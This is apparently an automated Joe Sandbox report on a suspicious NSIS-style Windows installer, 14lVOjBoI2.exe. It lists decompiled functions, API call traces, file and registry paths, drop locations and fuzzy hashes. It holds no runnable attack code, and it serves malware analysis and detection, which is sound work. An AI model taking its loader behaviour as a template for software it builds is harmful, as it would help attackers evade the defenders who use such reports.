GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\14lVOjBoI2.exe,C:\Users\user\Desktop\14lVOjBoI2.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

soft, xrefs: 00402EDC
Null, xrefs: 00402EE5
(*B, xrefs: 00402E7C
"C:\Users\user\Desktop\14lVOjBoI2.exe", xrefs: 00402DF4
Error launching installer, xrefs: 00402E3E
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DF5
C:\Users\user\Desktop, xrefs: 00402E49, 00402E4E, 00402E54
Inst, xrefs: 00402ED3
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
C:\Users\user\Desktop\14lVOjBoI2.exe, xrefs: 00402E05, 00402E14, 00402E28, 00402E48

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\14lVOjBoI2.exe"$(*B$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\14lVOjBoI2.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-204604610
Opcode ID: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,76F923A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Strings

C:\Users\user\AppData\Local\Temp\nsr675C.tmp, xrefs: 00401819, 00401837
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed, xrefs: 00401796
Call, xrefs: 00401785, 0040178E, 0040179B, 004017AD, 004017B9, 004017EF, 00401805, 00401823, 0040185F, 004018E0, 004018E9, 004018F3, 004018FE
C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll, xrefs: 0040182D, 00401849

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed$C:\Users\user\AppData\Local\Temp\nsr675C.tmp$C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll$Call
API String ID: 1941528284-1390023688
Opcode ID: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

jA, xrefs: 004030E7
... %d%%, xrefs: 0040316E
jA, xrefs: 004031F1

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsr675C.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsr675C.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsr675C.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Strings

C:\Users\user\AppData\Local\Temp\nsr675C.tmp, xrefs: 004023CA, 004023D8, 004023EF, 004023FF, 0040240A

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsr675C.tmp
API String ID: 1356686001-240640546
Opcode ID: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004056A9

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-297319885
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,00001020), ref: 100022B8

Part of subcall function 10002645: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B7

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.2128913504.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2128848115.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2128967473.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2129045974.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_14lVOjBoI2.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction ID: d353a68b508970880cf9150dbe01e0f77130c4103e9cfdf2e47557ee24e57a3c
Opcode Fuzzy Hash: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction Fuzzy Hash: 5E31BF75804241AAFB14DF749CC9BDA37E8FF053D0F158065FA0A9A08FDF74A9848761

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNELBASE(0040A300,?,00000000,?,?,?,00000000,0040329E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405C92

Strings

nsa, xrefs: 00405C66
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C5E

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2113348990
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNELBASE(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,76F93420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\14lVOjBoI2.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 00401612

Part of subcall function 00405683: CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed,?,00000000,000000F0), ref: 00401645

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed, xrefs: 00401638

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed
API String ID: 1892508949-1073148364
Opcode ID: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction ID: 2a65e9898054e9c842dee46b5c7982ab048171bb6952f998b4aca48d6bd22bb3
Opcode Fuzzy Hash: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction Fuzzy Hash: 96119331504504EBCF20BFA4CD4599E36A1EF44368B25093BEA46B62F2DA394A819E5D

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00401FC3 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FEE

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,76F923A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FFF
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 0040207C

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction ID: 561ed2f99fcd8f3c69216c61aae9e950b585f3ecd418fa9455324ea25216acba
Opcode Fuzzy Hash: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction Fuzzy Hash: 8221A731900209EBDF20AF65CE48A9E7E71BF00354F20427BF510B51E1CBBD8A81DA5D

Function 0040249E Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,00000482,00000000,00000022,00000000,?,?), ref: 00402CF1

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024CD
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 004024E0
